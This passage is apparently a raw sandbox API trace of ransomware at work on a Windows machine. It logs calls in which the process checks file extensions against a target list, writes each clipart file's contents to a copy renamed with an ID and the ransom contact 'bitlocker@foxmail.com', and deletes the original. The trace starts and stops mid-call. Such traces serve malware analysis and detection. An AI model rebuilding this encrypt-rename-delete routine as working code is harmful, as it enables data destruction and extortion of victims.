(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0063.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0063.652] lstrlenW (lpString=".doc") returned 4 [0063.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.652] lstrlenW (lpString=".docx") returned 5 [0063.652] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.652] lstrlenW (lpString=".pdf") returned 4 [0063.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.652] lstrlenW (lpString=".xls") returned 4 [0063.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.652] lstrlenW (lpString=".xlsx") returned 5 [0063.652] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.652] lstrlenW (lpString=".ppt") returned 4 [0063.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0063.652] lstrlenW (lpString=".zip") returned 4 [0063.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.652] lstrlenW (lpString=".rar") returned 4 [0063.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.652] lstrlenW (lpString=".bz2") returned 4 [0063.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.652] lstrlenW (lpString=".7z") returned 3 [0063.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0063.653] lstrlenW (lpString=".dbf") returned 4 [0063.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0063.653] lstrlenW (lpString=".1cd") returned 4 [0063.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0063.653] lstrlenW (lpString=".jpg") returned 4 [0063.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.653] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0063.653] lstrlenW (lpString="BD10890_.GIF") returned 12 [0063.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0063.653] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=13515) returned 1 [0063.653] CloseHandle (hObject=0x164) returned 1 [0063.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 0x20 [0063.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0063.654] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.654] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0063.654] GetLastError () returned 0x0 [0063.654] ReadFile (in: hFile=0x164, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x34cb, lpOverlapped=0x0) returned 1 [0063.655] WriteFile (in: hFile=0x230, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x34d0, lpOverlapped=0x0) returned 1 [0063.656] ReadFile (in: hFile=0x164, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.657] WriteFile (in: hFile=0x230, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.657] SetEndOfFile (hFile=0x230) returned 1 [0063.657] CloseHandle (hObject=0x230) returned 1 [0063.657] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.657] SetEndOfFile (hFile=0x164) returned 1 [0063.658] CloseHandle (hObject=0x164) returned 1 [0063.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.658] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 1 [0063.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0063.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0063.658] lstrlenW (lpString=".doc") returned 4 [0063.658] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0063.658] lstrlenW (lpString=".docx") returned 5 [0063.658] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0063.658] lstrlenW (lpString=".pdf") returned 4 [0063.658] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0063.658] lstrlenW (lpString=".xls") returned 4 [0063.658] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0063.658] lstrlenW (lpString=".xlsx") returned 5 [0063.658] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0063.658] lstrlenW (lpString=".ppt") returned 4 [0063.658] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0063.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0063.659] lstrlenW (lpString=".zip") returned 4 [0063.659] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0063.659] lstrlenW (lpString=".rar") returned 4 [0063.659] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0063.659] lstrlenW (lpString=".bz2") returned 4 [0063.659] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0063.659] lstrlenW (lpString=".7z") returned 3 [0063.659] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0063.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0063.659] lstrlenW (lpString=".dbf") returned 4 [0063.659] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0063.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0063.659] lstrlenW (lpString=".1cd") returned 4 [0063.659] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0063.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0063.659] lstrlenW (lpString=".jpg") returned 4 [0063.659] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0063.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0063.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0063.659] lstrlenW (lpString=".doc") returned 4 [0063.659] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0063.659] lstrlenW (lpString=".docx") returned 5 [0063.659] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0063.659] lstrlenW (lpString=".pdf") returned 4 [0063.659] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0063.659] lstrlenW (lpString=".xls") returned 4 [0063.659] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0063.659] lstrlenW (lpString=".xlsx") returned 5 [0063.659] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0063.659] lstrlenW (lpString=".ppt") returned 4 [0063.659] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0063.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0063.659] lstrlenW (lpString=".zip") returned 4 [0063.660] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0063.660] lstrlenW (lpString=".rar") returned 4 [0063.660] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0063.660] lstrlenW (lpString=".bz2") returned 4 [0063.660] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0063.660] lstrlenW (lpString=".7z") returned 3 [0063.660] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0063.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0063.660] lstrlenW (lpString=".dbf") returned 4 [0063.660] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0063.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0063.660] lstrlenW (lpString=".1cd") returned 4 [0063.660] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0063.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0063.660] lstrlenW (lpString=".jpg") returned 4 [0063.660] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0063.660] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0063.660] lstrlenW (lpString="BD10972_.GIF") returned 12 [0063.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0064.567] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=20189) returned 1 [0064.567] CloseHandle (hObject=0x1fc) returned 1 [0064.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 0x20 [0064.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0064.568] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.568] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0064.568] GetLastError () returned 0x0 [0064.568] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x4edd, lpOverlapped=0x0) returned 1 [0064.570] WriteFile (in: hFile=0x22c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x4ee0, lpOverlapped=0x0) returned 1 [0064.571] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0064.571] WriteFile (in: hFile=0x22c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0064.571] SetEndOfFile (hFile=0x22c) returned 1 [0064.571] CloseHandle (hObject=0x22c) returned 1 [0064.572] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.572] SetEndOfFile (hFile=0x1fc) returned 1 [0064.572] CloseHandle (hObject=0x1fc) returned 1 [0064.578] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0064.578] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 1 [0064.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0064.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0064.578] lstrlenW (lpString=".doc") returned 4 [0064.578] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0064.578] lstrlenW (lpString=".docx") returned 5 [0064.578] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0064.578] lstrlenW (lpString=".pdf") returned 4 [0064.578] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0064.579] lstrlenW (lpString=".xls") returned 4 [0064.579] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0064.579] lstrlenW (lpString=".xlsx") returned 5 [0064.579] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0064.579] lstrlenW (lpString=".ppt") returned 4 [0064.579] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0064.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0064.579] lstrlenW (lpString=".zip") returned 4 [0064.579] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0064.579] lstrlenW (lpString=".rar") returned 4 [0064.579] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0064.579] lstrlenW (lpString=".bz2") returned 4 [0064.579] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0064.579] lstrlenW (lpString=".7z") returned 3 [0064.579] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0064.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0064.579] lstrlenW (lpString=".dbf") returned 4 [0064.579] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0064.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0064.579] lstrlenW (lpString=".1cd") returned 4 [0064.579] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0064.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0064.579] lstrlenW (lpString=".jpg") returned 4 [0064.579] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0064.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0064.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0064.579] lstrlenW (lpString=".doc") returned 4 [0064.579] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0064.579] lstrlenW (lpString=".docx") returned 5 [0064.579] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0064.579] lstrlenW (lpString=".pdf") returned 4 [0064.579] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0064.579] lstrlenW (lpString=".xls") returned 4 [0064.579] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0064.579] lstrlenW (lpString=".xlsx") returned 5 [0064.579] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0064.580] lstrlenW (lpString=".ppt") returned 4 [0064.580] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0064.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0064.580] lstrlenW (lpString=".zip") returned 4 [0064.580] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0064.580] lstrlenW (lpString=".rar") returned 4 [0064.580] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0064.580] lstrlenW (lpString=".bz2") returned 4 [0064.580] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0064.580] lstrlenW (lpString=".7z") returned 3 [0064.580] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0064.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0064.580] lstrlenW (lpString=".dbf") returned 4 [0064.580] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0064.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0064.580] lstrlenW (lpString=".1cd") returned 4 [0064.580] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0064.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0064.580] lstrlenW (lpString=".jpg") returned 4 [0064.580] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0064.580] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0064.580] lstrlenW (lpString="BD19827_.WMF") returned 12 [0064.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0064.580] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=9710) returned 1 [0064.580] CloseHandle (hObject=0x1fc) returned 1 [0064.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x20 [0064.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0064.581] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.581] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0064.581] GetLastError () returned 0x0 [0064.581] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x25ee, lpOverlapped=0x0) returned 1 [0064.583] WriteFile (in: hFile=0x22c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x25f0, lpOverlapped=0x0) returned 1 [0064.584] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0064.584] WriteFile (in: hFile=0x22c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0064.584] SetEndOfFile (hFile=0x22c) returned 1 [0064.584] CloseHandle (hObject=0x22c) returned 1 [0064.584] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.584] SetEndOfFile (hFile=0x1fc) returned 1 [0064.585] CloseHandle (hObject=0x1fc) returned 1 [0064.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0064.663] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 1 [0064.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0064.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0064.664] lstrlenW (lpString=".doc") returned 4 [0064.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.664] lstrlenW (lpString=".docx") returned 5 [0064.664] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.664] lstrlenW (lpString=".pdf") returned 4 [0064.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.664] lstrlenW (lpString=".xls") returned 4 [0064.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.664] lstrlenW (lpString=".xlsx") returned 5 [0064.664] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.664] lstrlenW (lpString=".ppt") returned 4 [0064.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0064.664] lstrlenW (lpString=".zip") returned 4 [0064.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.664] lstrlenW (lpString=".rar") returned 4 [0064.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.664] lstrlenW (lpString=".bz2") returned 4 [0064.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.664] lstrlenW (lpString=".7z") returned 3 [0064.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0064.664] lstrlenW (lpString=".dbf") returned 4 [0064.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0064.664] lstrlenW (lpString=".1cd") returned 4 [0064.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0064.664] lstrlenW (lpString=".jpg") returned 4 [0064.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0064.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0064.664] lstrlenW (lpString=".doc") returned 4 [0064.665] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.665] lstrlenW (lpString=".docx") returned 5 [0064.665] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.665] lstrlenW (lpString=".pdf") returned 4 [0064.665] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.665] lstrlenW (lpString=".xls") returned 4 [0064.665] lstrcmpiW 